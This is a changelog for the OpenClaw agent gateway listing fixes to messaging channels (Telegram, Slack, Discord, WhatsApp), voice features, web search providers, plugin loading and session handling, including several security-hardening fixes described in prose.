• Telegram/message actions: treat benign delete-message 400s as no-op warnings instead of runtime errors, so stale or already-removed messages do not create noisy delete failures. Fixes #73726. Thanks @Avicennasis.

• Telegram: split long default markdown sends and media follow-up text into safe HTML chunks, so outbound messages over Telegram's limit no longer fail as one oversized Bot API request. Fixes #75868. Thanks @zhengsx.

• Gateway/chat history: merge Claude CLI transcript imports for Anthropic-routed sessions that still have a Claude CLI binding, so local chat history does not hide CLI JSONL turns. Fixes #75850. Thanks @alfredjbclaw.

• Media: trim serialized JSON suffixes after local MEDIA: directive file extensions, so generated-image metadata cannot pollute the parsed media path and cause false ENOENT delivery failures. Fixes #75182. Thanks @TnzGit and @hclsys.

• Plugins/runtime: hot-reload Gateway plugin runtime surfaces after plugin enable/disable changes while keeping source-changing plugin install, update, and uninstall operations restart-backed so loaded module code is not reused. Fixes #72097.

• Cron: make scheduler reload schedule comparison tolerate malformed persisted jobs, so one bad cron entry no longer aborts the whole tick. Fixes #75886. Thanks @samfox-ai.

• Doctor/channels: warn after migrations when default Telegram or Discord accounts have no configured token and their env fallback (TELEGRAM_BOT_TOKEN or DISCORD_BOT_TOKEN) is unavailable, with secret-safe migration docs for checking state-dir .env. Fixes #74298. Thanks @lolaopenclaw.

• Gateway/diagnostics: keep idle liveness samples in telemetry instead of visible warning logs unless diagnostic work is active, waiting, or queued. Thanks @vincentkoc.

• Channels/cron: reject provider-prefixed targets for the wrong channel and let prefixed announce targets such as telegram:123 select their channel when delivery falls back to last, so Telegram IDs cannot be coerced into WhatsApp phone numbers. Fixes #56839. Thanks @bencoremans.

• Control UI/chat: keep live replies visible when a raw session alias such as main sends the chat turn but Gateway emits events under the canonical session key for the same run. Fixes #73716. Thanks @teebes.

• CLI/models: reject --agent on openclaw models set and set-image instead of silently writing agent-scoped requests to global model defaults. Fixes #68391. Thanks @derrickabellard.

• CLI: stop treating the legacy singular openclaw tool ... token as a plugin id under restrictive plugins.allow, so it falls through as a normal unknown/reserved command instead of suggesting a stale allowlist entry. Fixes #64732. Thanks @efe-arv, @SweetSophia, and @hashtag1974.

• Media: write inbound media buffers through same-directory temp files before rename, so failed disk writes do not leave zero-byte artifacts for later voice transcription. Fixes #55966. Thanks @OpenCodeEngineer.

• TTS/Telegram: keep trusted local audio generated by the TTS tool queued for voice-note delivery even when the run-level built-in tool list omits the raw tts name. Fixes #74752. Thanks @Loveworld3033 and @andyliu.

• TTS: require explicit user or config audio intent for the agent speech tool so dashboard chats stay text unless audio is requested. Fixes #69777. Thanks @alexandre-leng.

• Plugins/config: keep bundled source-checkout plugins from being runtime-gated by install-only minHostVersion metadata, accept prerelease host floors, trim plugin-service startup failures to one log line, and avoid broad channel-runtime loading during base config parsing. Thanks @vincentkoc.

• Heartbeat: strip legacy [TOOL_CALL]...[/TOOL_CALL] and [TOOL_RESULT]...[/TOOL_RESULT] pseudo-call blocks from heartbeat replies before channel delivery. Fixes #54138. Thanks @Deniable9570.

• macOS/Voice Wake: send wake-word and Push-to-Talk transcripts through the selected macOS session target instead of always falling back to main WebChat. Fixes #51040. Thanks @carl-jeffrolc.

• Providers/xAI: give Grok web_search a 60s default timeout, harden malformed xAI Responses parsing, and return structured timeout errors instead of aborting the tool call. Fixes #58063 and #58733. Thanks @dnishimura, @marvcasasola-svg, and @Nanako0129.

• Providers/configure: preserve the existing default model when adding or reauthing a provider whose plugin returns a default-model config patch. Fixes #50268. Thanks @rixcorp-oc.

• Slack/message actions: send media before the follow-up Block Kit message when Slack send includes a file plus presentation or interactive controls, so file attachments are no longer rejected. Fixes #51458. Thanks @HirokiKobayashi-R.

• Slack/DMs: honor dmHistoryLimit for fresh 1:1 Slack DM sessions by backfilling recent conversation history before the current reply. Fixes #64427. Thanks @brantley-creator.

• Slack/DMs: keep top-level direct messages on the stable DM session even when replyToMode targets Slack thread replies, preserving context across DM turns. Fixes #58832. Thanks @daye-jjeong.

• Slack/delivery: preserve Slack Web API missing-scope details in outbound delivery errors, so queued retry state identifies the OAuth scope to add. Fixes #62391. Thanks @alexey-pelykh.

• Slack/capabilities: read granted scopes from auth.test response metadata before trying legacy scope APIs, so modern bot tokens no longer report unknown_method for channel capabilities. Fixes #44625. Thanks @Qquanwei and @martingarramon.

• Slack/DMs: send text/block-only proactive DMs directly with chat.postMessage(channel=<user id>) while keeping conversation resolution for uploads and threaded sends. Fixes #62042. Thanks @MarkMolina.

• Slack/routing: match route bindings written with Slack target syntax such as channel:C..., user:U..., or <@U...>, so bound Slack peers route to the configured agent instead of main. Fixes #41608. Thanks @Winnsolutionsadmin.

• Slack/routing: match public-channel allowlist entries written as channel:C... against bare Slack runtime channel IDs, so allowed channel mentions do not fail as channel-not-allowed. Fixes #41264 and supersedes #56530. Thanks @babutree and @Realworld404.

• Slack/message actions: prefer the account bound to the outbound target peer before falling back to the agent's first channel account, so multi-workspace sends use the intended Slack account. Supersedes #66807. Thanks @rijhsinghani.

• Slack/delivery: retry Slack Web API writes only when the SDK wraps a DNS request failure such as EAI_AGAIN, so transient resolver hiccups can recover without retrying platform errors that may duplicate messages. Fixes #68789. Thanks @sonnyb9.

• Slack/message actions: forward agent-scoped media roots through the bundled upload-file action path, so workspace files can be attached without failing the local-media guard. Fixes #64625. Thanks @benpchandler.

• Slack/mentions: resolve <!subteam^...> user-group mentions through Slack usergroups.users.list and treat them as explicit mentions only when the bot user is a member, so mention-gated agent channels wake for real user-group mentions without config-only allowlists. Fixes #73827. Thanks @CG-Intelligence-Agent-Jack.

• Slack/message tool: let read fetch an exact Slack message timestamp, including a specific thread reply when paired with threadId, instead of returning only the parent thread or recent channel history. Fixes #53943. Thanks @zomars.

• PDF/Gemini: send native PDF analysis API keys in the x-goog-api-key header instead of the request URL, keeping secrets out of proxy and access logs. Supersedes #60600. Thanks @garagon.

• Web search/Gemini: route agent abort signals into provider fetches and log provider-side abort failures as normal tool errors instead of silently aborting the run. Fixes #72995. Thanks @RoseKongPS.

• Web search: point missing-key errors to web_fetch for known URLs and the browser tool for interactive pages. Thanks @zhaoyang97.

• Web search: late-bind managed agent web_search calls to the current runtime config snapshot, so existing sessions do not keep stale unresolved SecretRefs after secrets reload. Fixes #75420. Thanks @richardmqq.

• Web search/Gemini: reuse models.providers.google.apiKey and models.providers.google.baseUrl as lower-priority fallbacks for Gemini web search after dedicated search config and GEMINI_API_KEY. Supersedes #57496. Thanks @Aoiujz.

• Web search/Gemini: pass freshness and date_after/date_before filters through Google Search grounding time ranges. Fixes #66498. Thanks @ismael-81.

• Web search/DuckDuckGo: include the keyless DuckDuckGo provider in the web search setup wizard. Fixes #65862 and supersedes #65940. Thanks @Jah-yee.

• Web search: honor baseUrl overrides for Gemini, Grok, and x_search provider-owned config, so proxy-backed search tools no longer dial hardcoded public endpoints. Supersedes #61972. Thanks @Lanfei.

• Web search/Brave: point Brave provider metadata at the canonical /tools/brave-search docs page and make the legacy /brave-search docs page a redirect stub. Fixes #65870 and supersedes #65892. Thanks @Magicray1217 and @Jah-yee.

• Web search/Brave: allow freshness and bounded date ranges in llm-context mode, matching Brave's documented LLM Context API support. Supersedes #51005. Thanks @remusao.

• Web fetch: resolve external plugin webFetchProviders for non-sandboxed web_fetch, while keeping sandboxed fetches limited to bundled providers. Fixes #74915. Thanks @ultrahighsuper and @mingmingtsao.

• Heartbeat: strip legacy [TOOL_CALL]...[/TOOL_CALL] and [TOOL_RESULT]...[/TOOL_RESULT] pseudo-call blocks from heartbeat replies before channel delivery. Fixes #54138. Thanks @Deniable9570.

• macOS/Voice Wake: send wake-word and Push-to-Talk transcripts through the selected macOS session target instead of always falling back to main WebChat. Fixes #51040. Thanks @carl-jeffrolc.

• Providers/xAI: give Grok web_search a 60s default timeout, harden malformed xAI Responses parsing, and return structured timeout errors instead of aborting the tool call. Fixes #58063 and #58733. Thanks @dnishimura, @marvcasasola-svg, and @Nanako0129.

• Slack/directory: make openclaw directory peers/groups list --channel slack prefer token-backed live readers and return the connected Slack account from directory self, so valid Slack tokens no longer produce empty directory CLI results. Fixes #50776. Thanks @pjaillon.

• Slack: keep assistant typing status, temporary typing reactions, and status reactions active for group/channel turns that use message-tool-only visible replies, while still suppressing automatic source replies. Fixes #75877. Thanks @teosborne.

• Slack: recover full inbound DM text from top-level rich-text blocks when Slack sends a shortened message preview, so long direct messages still reach the agent intact. Fixes #55358. Thanks @tonyjwinter.

• Replies: strip legacy [TOOL_CALL]{tool => ..., args => ...}[/TOOL_CALL] pseudo-call text from user-facing replies and flag it in tool-call diagnostics instead of showing raw tool syntax in channels. Fixes #63610. Thanks @canh0chua.

• WhatsApp: close long-lived web sockets through Baileys end(error) before falling back to raw websocket close, so listener teardown runs Baileys cleanup instead of leaving zombie sockets. Fixes #52442. Thanks @essendigitalgroup-cyber.

• Twitch/plugins: emit a flat JSON Schema for Twitch channel config so single-account and multi-account configs validate before runtime load, and add source-checkout diagnostics for missing pnpm workspace dependencies. Thanks @vincentkoc.

• Gateway/sessions: move hot transcript reads and mirror appends onto async bounded IO with serialized parent-linked writes, keeping large session histories from stalling Gateway requests and channel replies. Fixes #75656. Thanks @DerFlash.

• macOS/Talk Mode: downmix multi-channel microphone buffers before handing them to Apple Speech across Push-to-Talk, Talk Mode, Voice Wake, and the wake-word tester, so pro audio interfaces no longer produce empty transcripts. Fixes #42533. Thanks @jbuecker.

• macOS/Talk Mode: subscribe native WebChat to active-session transcript updates and render external spoken user turns in the chat thread instead of only showing assistant replies. Fixes #75155. Thanks @SledderBling.

• macOS/Voice Wake: accept trigger-only phrases in the built-in Voice Wake test, matching the settings UI and runtime trigger-only path instead of requiring extra command text after the wake word. Fixes #64986. Thanks @zoiks65.

• Cron/TTS: run cron announce payloads through the normal TTS directive transform before outbound delivery, so scheduled [[tts]] replies generate voice payloads instead of leaking raw tags. Fixes #52125. Thanks @kenchen3000.

• WhatsApp: save downloadable quoted image media from reply context as inbound media, so agents can inspect an image that a user replied to instead of only seeing <media:image>. Fixes #59174. Thanks @gaffner.

• Sessions/store: stop persisting the runtime-only skillsSnapshot.resolvedSkills array inside each session entry, so sessions.json no longer carries a copy of every parsed SKILL.md body for every active session; ensureSkillSnapshot rehydrates the array from disk on cold resume so the embedded runner, the Claude CLI skills plugin, and the Claude live-session fingerprint all see populated skills, and legacy stores self-heal on the next save. Refs #11950, #6650, #15000. Thanks @amoghasgekar.

• Doctor/WhatsApp: warn when Linux crontabs still run the legacy ensure-whatsapp.sh health check, which can misreport Gateway inactive when cron lacks the systemd user-bus environment. Fixes #60204. Thanks @mySebbe.

• Slack/setup: print the generated app manifest as plain JSON instead of embedding it inside the framed setup note, so it can be copied into Slack without deleting border characters. Fixes #65751. Thanks @theDanielJLewis.

• Channels/WhatsApp: route CLI logout through the live Gateway and stop runtime-backed listeners before channel removal, so removing a WhatsApp account does not leave the old socket replying until restart. Fixes #67746. Thanks @123Mismail.

• Voice Call/Twilio: honor TTS directive text and provider voice/model overrides during telephony synthesis, so [[tts:...]] tags are not spoken literally and voiceId overrides reach OpenAI/ElevenLabs calls. Fixes #58114. Thanks @legonhilltech-jpg.

• Agents/session-locks: reclaim untracked current-process session locks with matching starttime during acquisition and startup cleanup, so Gateway restarts recover from self-owned orphan .jsonl.lock files. Fixes #75805; refs #49603. Thanks @cdznho.

• Agents/subagents: initialize built-in context engines before native sessions_spawn resolves spawn preparation, so cliBackend-only cold starts no longer fail with an unregistered legacy context engine. Fixes #73095. (#73904) Thanks @brokemac79.

• Plugins/Bonjour: ship the ciao runtime dependency with packaged OpenClaw so fresh OCM envs can start default mDNS discovery without a missing-module failure. Thanks @shakkernerd.

• Agents/tools: scope reply plugin-tool discovery to manifest-declared tool owners and already-active matching tool entries, avoiding broad plugin runtime loading for narrow or core-only tool allowlists. Thanks @shakkernerd.

• Agents/replies: defer implicit image model discovery and keep OAuth auth-store adoption on persisted profiles during reply startup, cutting OCM MarCodex warm prep to sub-second in live checks. Thanks @shakkernerd.

• Plugins/tools: enforce contracts.tools as the manifest ownership contract for plugin tool registration, rejecting undeclared runtime tool names and adding bundled plugin drift coverage. Thanks @shakkernerd.

• Agents/Codex: stop prompting message-tool-only source turns to finish with NO_REPLY, so quiet turns are represented by not calling the visible message tool instead of conflicting final-text instructions. Thanks @pashpashpash.

• Gateway/config: report failed backup restores as failed in logs and config observe audit records instead of marking them valid. (#70515) Thanks @davidangularme.

• Compaction: use the active session model fallback chain for implicit summarization failures without persisting fallback model selection, so Azure content-filter 400s can recover. Fixes #64960. (#74470) Thanks @jalehman and @OpenCodeEngineer.

• Gateway/config: allow gateway config.patch to update documented subagent thinking defaults. Fixes #75764. (#75802) Thanks @kAIborg24.

• Plugins/CLI: keep git plugin install paths credential-free, preserve existing git checkouts until replacement succeeds, honor duplicate npm install mode, and remove managed git repos on uninstall. Thanks @vincentkoc.

• Plugins/CLI: redact authenticated git URLs from git install command failure details, so failed clone or checkout output cannot leak credentials during plugin installs. Thanks @vincentkoc.

• Channels/status reactions: remove stale non-terminal lifecycle reactions when a run reaches done or error, so Discord does not leave a permanent thinking emoji after completion. Fixes #75458. Thanks @davelutztx.

• Discord/doctor: migrate unsupported per-channel agentId entries under guild channel config into top-level bindings[] routes, so openclaw doctor --fix preserves the intended agent route instead of stripping it as an unknown key. Fixes #62455. Thanks @lobster-biscuit.

• Discord/DMs: set inbound direct-message ctx.To to the semantic user:<id> target while keeping delivery routed through the DM channel, so mirror and recovery paths do not treat DMs as channel conversations. Fixes #68126. Thanks @illuminate0623.

• Discord/DMs: keep no-guild inbound messages on direct-message routing when Discord channel lookup is temporarily unavailable, preventing degraded DMs from forking into channel sessions. Fixes #59817. Thanks @DooPeePey.

• Discord: retry outbound API calls on HTTP 5xx, request-timeout, and transient transport failures instead of only Discord rate limits, reducing dropped cron and agent replies during short Discord or network outages. Fixes #52396. Thanks @sunshineo.

• Discord: include Components v2 Text Display content from referenced replies and forwarded snapshots, so component-only messages still appear in reply context. Fixes #56228. Thanks @HollandDrive.

• Discord: add configurable gateway READY timeouts for startup and runtime reconnects, so staggered multi-account setups can avoid false restart loops. Fixes #72273. Thanks @sergionsantos.

• Discord: preserve native slash-command description localizations through command reconcile, so localized Discord descriptions no longer get overwritten by English defaults. Fixes #56580. Thanks @mhseo93.

• Discord: add configured outbound mention aliases so known @Name references can be rewritten to real Discord user mentions instead of relying only on the transient directory cache. Fixes #67587. Thanks @McoreD.

• Discord: avoid startup REST amplification by skipping native command deploy retries after Discord rate limits and deriving the bot id from parseable bot tokens instead of requiring a /users/@me lookup. Fixes #75341. Thanks @PrinceOfEgypt.

• Plugins/hooks: derive hook ctx.channelId from the conversation target instead of the provider name, so Discord and other channel plugins can keep per-channel state isolated. Fixes #59881. Thanks @bradfreels.

• Gateway/config: log config health-state write failures instead of silently hiding config observe-recovery write errors. Thanks @sallyom.

• Diagnostics: reset stuck-session timers on reply, tool, status, block, and ACP progress events, and back off repeated session.stuck diagnostics while a session remains unchanged. Supersedes #72010. Thanks @rubencu.

• Gateway/agents: avoid rebuilding core tools for plugin-only allowlists and keep the full plugin registry cache warm across scoped plugin loads, reducing per-turn latency spikes. Fixes #75882, #75907, #75906, #75887, and #75851. (#75922) Thanks @obviyus.

• Agents/failover: classify bare status: internal server error provider messages as retryable server errors so model fallback can rotate instead of stopping. (#73844) Thanks @thesomewhatyou.

• Gateway/startup: return the shared retryable startup-sidecars error for startup-gated control-plane RPCs such as sessions.create, sessions.send, sessions.abort, agent.wait, and tools.effective, so clients can retry early sidecar races. (#76012) Thanks @scoootscooob.

• Providers/Google: fix Gemini 2.5 Flash-Lite reasoning: "minimal" rejections by raising its thinking-budget floor to 512 while preserving the existing Gemini 2.5 Pro and Flash minimal presets. (#70629) Thanks @ericberic.

• Agents/status: resolve session_status(sessionKey="current") for sparse channel-plugin sessions after literal current lookups miss, so Scope, Slack, Discord, and other plugin-driven agents avoid retrying through Unknown sessionKey: current. Fixes #74141. (#72306) Thanks @bittoby.

• Cron: retry recurring wake-now main-session jobs through temporary heartbeat busy skips before recording success, so queued cron events no longer appear as ok ghost runs while the main lane is still busy. Fixes #75964. (#76083) Thanks @kshetrajna12 and @xuruiray.

• Providers/Google: keep Gemini thinking-signature-only stream chunks active during reasoning, so Gemini 3.1 Pro Preview replies no longer hit idle timeouts before visible text. Fixes #76071. (#76080) Thanks @marcoschierhorn and @zhangguiping-xydt.

• CLI/skills: show per-agent model and command visibility in openclaw skills check --agent, and let doctor report or disable unavailable skills allowed for the default agent. (#75983) Thanks @mbelinky.

• Agents/tools: skip unavailable media generation and PDF tool factories from the live reply path when Gateway metadata and the active auth store prove no configured provider can back them, while keeping explicit config and auth-backed providers on the normal factory path. Thanks @shakkernerd.

• Agents/runtime: reuse the Gateway metadata startup plan when ensuring reply runtime plugins are loaded, so live agent turns do not broad-load plugin runtimes after the Gateway already scoped startup activation. Thanks @shakkernerd.

• Agents/runtime: delegate scoped reply runtime registry reuse to the plugin loader cache-key compatibility checks, so config changes with the same startup plugin ids cannot keep stale runtime hooks or tools active. Thanks @shakkernerd.

• Agents/runtime: let compatible wider plugin registries satisfy scoped reply runtime requests when they already contain the requested plugins, avoiding redundant runtime loading without bypassing loader cache-key freshness checks. Thanks @shakkernerd.

• Agents/runtime: validate agent model allowlists against manifest model catalog metadata during reply startup, avoiding broad provider runtime catalog loading before the agent run lane starts. Thanks @shakkernerd.

• Agents/runtime: keep allowlisted configured model thinking metadata available when manifest catalog rows are absent, so explicit high-reasoning levels remain valid for custom configured models. Thanks @shakkernerd.

• Agents/tools: preserve plugin-declared config-only generation providers such as local Comfy workflows during reply tool pre-gating, and share manifest auth/config availability checks between the planner and final tool factories. Thanks @shakkernerd.

• Agents/tools: keep Comfy generation tools visible from legacy local workflow config and cloud API-key config when no Gateway metadata snapshot is active, using plugin-declared manifest signals instead of loading provider runtimes. Thanks @shakkernerd.

• Agents/tools: route media and generation capability lookups through the Gateway plugin metadata snapshot during reply tool registration, avoiding repeated manifest registry reloads on the live reply path. Thanks @shakkernerd.

• Agents/tools: let plugins declare media generation auth aliases and base-url guards in manifests, preserving OpenAI Codex OAuth image generation availability without core-owned provider special cases. Thanks @shakkernerd.

• Agents/tools: reuse the auth profile store already loaded for the active run when deciding media and generation tool availability, avoiding repeated provider-auth runtime discovery during reply startup. Thanks @shakkernerd.

• Agents/tools: keep image, video, and music generation tool registration on manifest/auth control-plane checks instead of loading runtime provider registries during reply startup, reducing live-path tool-prep blocking while leaving provider runtime resolution for execution and list actions. Thanks @shakkernerd.

• Discord: document canonical mention formatting in agent prompt hints and channel docs so outbound replies use <@USER_ID>, <#CHANNEL_ID>, and <@&ROLE_ID> instead of legacy nickname mentions. (#75173)

• Heartbeat scheduler: gate exec-event/notification/spawn/retry wakes through a centralized cooldown so backgrounded process.start exit notifications can no longer self-feed runaway heartbeat runs (configured every: "30m" was firing every ~10s in production, pegging the gateway event loop with eventLoopDelayMaxMs >6s spikes that stalled control-UI asset serving and TUI handshakes). Documented wake-now paths (manual, wake, task completion, blocked-task follow-up, /hooks/wake mode=now, and cron --wake now) remain immediate; retryable busy skips no longer poison the cooldown for the next retry; per-agent flood guard caps any unexpected feedback loop at 5 runs/60s. (#64016, refs #17797 and #75436) Thanks @hexsprite.

• fix: block workspace CLOUDSDK_PYTHON override and always set trusted interpreter for gcloud. (#74492) Thanks @pgondhi987.

• Providers/Z.AI: move the bundled GLM catalog and auth env metadata into the plugin manifest, so models list --all --provider zai shows the full known catalog without duplicated runtime seed data. Thanks @shakkernerd.

• Providers/Qianfan and Providers/Stepfun: declare setup auth metadata (api-key method, QIANFAN_API_KEY, STEPFUN_API_KEY) in the plugin manifest so onboarding and models setup surface the expected env var without falling back to legacy providerAuthEnvVars runtime seed data. Thanks @shakkernerd.

• fix(infra): block ambient Homebrew env vars from brew resolution. (#74463) Thanks @pgondhi987.

• Onboarding/configure: avoid staging every default plugin runtime dependency after config writes, so skipped setup flows only prepare config-selected plugin deps instead of pulling broad feature-plugin packages. Thanks @vincentkoc.

• Thinking/providers: resolve bundled provider thinking profiles through lightweight provider policy artifacts when startup-lazy providers are not active, so OpenAI Codex GPT-5.x keeps xhigh available in Gateway session validation. Fixes #74796. Thanks @maxschachere.

• Security/Windows: ignore workspace .env system-path variables and resolve stale-process taskkill.exe from the validated Windows install root, preventing repository-local env files from redirecting cleanup helpers. Thanks @pgondhi987.

• CLI/plugins: refresh persisted plugin registry policy in place for plugins enable and plugins disable, so routine toggles no longer rebuild and hash every plugin source when the target is already indexed. Thanks @vincentkoc.

• Windows/install: run npm from a writable installer temp directory and pin the Bedrock runtime dependency below a Windows ARM Node 24 npm resolver failure, so global OpenClaw installs no longer fail before onboarding. Thanks @mariozechner.

• CLI/plugins: scope install and enable slot selection to the selected plugin manifest/runtime fallback, so plugin installs no longer load every plugin runtime or broad status snapshot just to update memory/context slots. Thanks @vincentkoc.

• Plugins/TTS: keep bundled speech-provider discovery available on cold package Gateway paths and add bundled plugin matrix runtime probes for health, readiness, RPC, TTS discovery, and post-ready runtime-deps watchdog coverage. Refs #75283. Thanks @vincentkoc.

• Google Meet/Twilio: show delegated voice call ID, DTMF, and intro-greeting state in googlemeet doctor, and avoid claiming DTMF was sent when no Meet PIN sequence was configured. Refs #72478. Thanks @DougButdorf.

• Plugins/tools: prefer built bundled plugin code during tool discovery and skip channel runtime hydration while preserving companion provider registrations, reducing per-run plugin-tool prep cost without dropping executable plugin tools. Fixes #75290. Thanks @thanos-openclaw.

• Plugins/loader: scope plugin-tool registry reuse to the enabled plugin plan and stored Gateway method keys, so embedded runner tool lookup can reuse compatible startup registries without hiding enabled non-startup plugin tools. Fixes #75520. Thanks @whtoo.

• Voice Call/Twilio: send notify-mode initial TwiML directly in the outbound create-call request while keeping conversation and pre-connect DTMF calls webhook-driven, so one-shot notify calls do not depend on a first-answer webhook fetch. Supersedes #72758. Thanks @tyshepps.

• Discord/Slack: defer status-reaction cleanup until run finalization so queued, thinking, tool, and terminal reactions no longer flicker during normal progress updates. (#75582)

• Discord/voice: leave Discord voice off for text-only configs unless channels.discord.voice is explicitly configured, avoiding default GuildVoiceStates traffic and idle gateway CPU pressure for bots that do not use /vc. Fixes #73753; refs #74044. Thanks @sanchezm86 and @SecureCloudProjO.

• Discord/voice: rerun configured voice auto-join after Discord gateway RESUMED events and ignore already-destroyed stale voice connections during reconnect cleanup, so health-monitor account restarts can rejoin configured channels. Fixes #40665. Thanks @liz709.

• Plugins/CLI: reuse the cold manifest registry while building plugin status and inspect reports, so large configured plugin sets no longer rediscover the bundled/plugin registry once per inspect row. Thanks @vincentkoc.

• Discord/voice: lengthen the default voice join Ready wait, add configurable voice.connectTimeoutMs/voice.reconnectGraceMs, and warn before destroying unrecovered disconnected sessions so slow Discord voice handshakes and reconnects no longer fail silently. Fixes #63098; refs #39825 and #65039. Thanks @darealgege, @kzicherman, and @ayochim.

• Gateway/health: refresh cached health RPC snapshots when channel runtime state diverges, so Discord and other channel status reads no longer report stale running or connected values until the cache TTL expires. (#75423)

• Gateway/sessions: keep session-store reads from running stale prune and entry-count cap maintenance during startup, so oversized stores no longer block chat history readiness after updates while writes and sessions cleanup --enforce still preserve the cleanup safeguards. Fixes #70050. Thanks @tangda18.

• Security/audit: keep plain security audit on the cold config/filesystem path and reserve plugin runtime security collectors for --deep, so large plugin installs cannot execute every plugin runtime during routine audits. Thanks @vincentkoc.

• Discord/voice: merge configured media-understanding providers such as Deepgram into partial active provider registries, so follow-up voice turns keep transcribing after another media plugin is already active. Fixes #65687. Thanks @OneMintJulep.

• WhatsApp: stage qrcode through root mirrored runtime dependencies so packaged QR pairing can render from staged plugin-runtime-deps installs. Fixes #75394. Thanks @FelipeX2001.

• Discord/voice: apply per-channel Discord systemPrompt overrides to voice transcript turns by forwarding the trusted channel prompt through the voice agent run. Fixes #47095. Thanks @qearlyao.

• Discord/native commands: send component-only interaction replies from slash command and status handlers instead of treating renderable Discord components as an empty response. Thanks @vincentkoc.

• Slack/slash commands: send block-only slash command replies instead of dropping Slack block payloads with no plain-text fallback. Thanks @vincentkoc.

• Telegram/messages: derive fallback text from interactive button/select labels before sending button-only payloads, so Telegram replies are not rejected as empty messages. Thanks @vincentkoc.

• LINE/messages: send quick-reply-only payloads with fallback option text instead of accepting the payload and returning an empty delivery. Thanks @vincentkoc.

• Auto-reply/docking: require /dock-* route switches to start from direct chats, so group or channel participants cannot reroute a shared session's future replies into a linked DM. Thanks @vincentkoc.

• Discord: keep text-DM main-session route updates pinned to the configured DM owner, matching component interactions so another direct-message sender cannot redirect future main-session replies. Thanks @vincentkoc.

• Mattermost/Matrix: keep direct-message main-session route updates pinned to the configured DM owner so paired or temporarily allowed senders cannot redirect future shared-session replies. Thanks @vincentkoc.

• Discord: keep SecretRef-backed bot tokens discoverable for message actions without resolving the token during schema generation, and resolve scoped channel SecretRefs before outbound agent message sends even when the tool is built from a config snapshot. Fixes #75324. Thanks @slideshow-dingo and @Conan-Scott.

• Updates: run package post-install doctor repair with the managed Gateway service profile and state paths when a daemon is installed, so shell/profile mismatches no longer repair the caller state while the restarted Gateway keeps stale config. Thanks @vincentkoc.

• Models/DeepInfra: declare DeepInfra manifest catalog discovery and derive its runtime fallback catalog from the manifest, restoring provider-filtered models list --all --provider deepinfra rows without duplicated static model data. Thanks @shakkernerd.

• CLI/update: verify managed gateway restarts against the installed service port instead of the caller shell port, so package updates do not report a healthy daemon as failed when profiles use different gateway ports. Thanks @vincentkoc.

• Gateway/agent: reject strict openclaw agent --deliver requests with missing delivery targets before starting the agent run, so users do not wait for a completed turn that cannot send anywhere. Thanks @vincentkoc.

• Setup/import: honor non-interactive --import-from onboarding flags by running the migration import path instead of silently completing normal setup without importing anything. Thanks @vincentkoc.

• Discord/voice: run voice-channel turns under a voice-output policy that hides the agent tts tool and asks for spoken reply text, so /vc join sessions synthesize and play agent replies instead of ending with NO_REPLY. Fixes #61536. Thanks @aounakram.

• Doctor/plugins: keep plain doctor --non-interactive from installing bundled plugin runtime dependencies, so headless health checks report missing deps while doctor --fix remains the explicit repair path. Thanks @vincentkoc.

• Doctor/gateway: require an interactive confirmation before installing or rewriting the Gateway service, so doctor --fix --non-interactive can repair plugin/config drift without replacing the operator's launchd/systemd service from a temporary environment. Thanks @vincentkoc.

• Plugins/runtime-deps: include packaged OpenClaw identity in bundled plugin loader cache keys, so same-path package upgrades stop reusing stale versioned runtime-deps mirrors. Fixes #75045. Thanks @sahilsatralkar.

• Plugin SDK: restore reply-prefix and reply-pipeline helpers on the deprecated root/compat SDK surface so external plugins still using openclaw/plugin-sdk do not fail message dispatch after update. Fixes #75171. Thanks @zhangxiliang.

• Plugins/runtime-deps: prune inactive same-package versioned runtime-deps roots after bundled dependency repair, so upgrades do not leave old openclaw-<version>-<hash> package caches behind after doctor runs. Thanks @vincentkoc.

• Plugins/runtime-deps: prune legacy version-scoped plugin runtime-deps roots during bundled dependency repair and cover the path in Package Acceptance's upgrade-survivor matrix, so upgrades from 2026.4.x no longer leave stale per-plugin runtime trees after doctor runs. Thanks @vincentkoc.

• Plugins/runtime-deps: keep Gateway startup plugin imports and runtime plugin fallback loads verify-only after startup/config repair planning, so packaged installs no longer spawn package-manager repair from hot paths after readiness. Refs #75283 and #75069. Thanks @brokemac79 and @xiaohuaxi.

• Plugins/runtime-deps: treat package.json runtime-deps manifests as supersets when generated materialization metadata is absent, so bundled plugin activation stops restaging already-installed dependency subsets on every activation. Fixes #75429. (#75431) Thanks @loyur.

• iMessage: add stdin write callback and error listener to IMessageRpcClient so async EPIPE from a closed child process rejects the pending request instead of crashing the gateway with uncaughtException. Fixes #75438.

• MCP/stdio: settle MCP stdio transport send() from the write callback instead of resolving immediately on buffer acceptance, so async write errors reject the promise instead of being lost. Refs #75438.

• Process/exec: add stdin error listener in runCommandWithTimeout so EPIPE from a prematurely-exited child is swallowed instead of escaping to uncaughtException. Refs #75438.

• Voice Call/realtime: add default-off fast memory/session context for openclaw_agent_consult, giving live calls a bounded answer-or-miss path before the full agent consult. Fixes #71849. Thanks @amzzzzzzz.

• Google Meet: interrupt Realtime provider output when local barge-in clears playback, so command-pair audio stops model speech instead of only restarting Chrome playback. Fixes #73850. (#73834) Thanks @shhtheonlyperson.

• Gateway/config: cap oversized plugin-owned schemas in the full config.schema response so large installed plugin sets cannot balloon Gateway RSS or crash schema clients. Thanks @vincentkoc.

• Plugins/update: skip ClawHub and marketplace plugin updates when the bundled version is newer than the recorded installed version, so openclaw update no longer overwrites working bundled plugins with older external packages. Fixes #75447. Thanks @amknight.

• Gateway/sessions: use bounded tail reads for sessions-list transcript usage fallbacks and cap bulk title/last-message hydration, keeping large session stores responsive when rows request derived previews. Thanks @vincentkoc.

• Gateway/sessions: yield during bulk transcript title/preview hydration and copy compaction checkpoints asynchronously, keeping the Gateway event loop responsive for large session stores and large transcripts. Refs #75330 and #75414. Thanks @amknight.

• Gateway/sessions: stream bounded transcript reads for session detail, history, artifacts, compaction, and send/subscribe sequence paths so small Gateway requests no longer materialize large transcripts or OOM on oversized session logs. Thanks @vincentkoc.

• Gateway/chat: bound chat-history transcript reads to the requested display window so large session logs no longer OOM the Gateway when clients ask for a small history page. Thanks @vincentkoc.

• BlueBubbles: detect audio attachments by Apple UTIs (public.audio, public.mpeg-4-audio, com.apple.m4a-audio, com.apple.coreaudio-format) in addition to audio/* MIME, so iMessage voice notes whose webhook payload only carries the UTI are now classified as audio in the inbound <media:audio> placeholder instead of falling through to the generic <media:attachment> tag. Thanks @omarshahine.

• Voice Call/Twilio: honor stored pre-connect TwiML before realtime webhook shortcuts and reject DTMF sequences outside conversation mode, so Meet PIN entry cannot be skipped or silently dropped. Thanks @donkeykong91 and @PfanP.

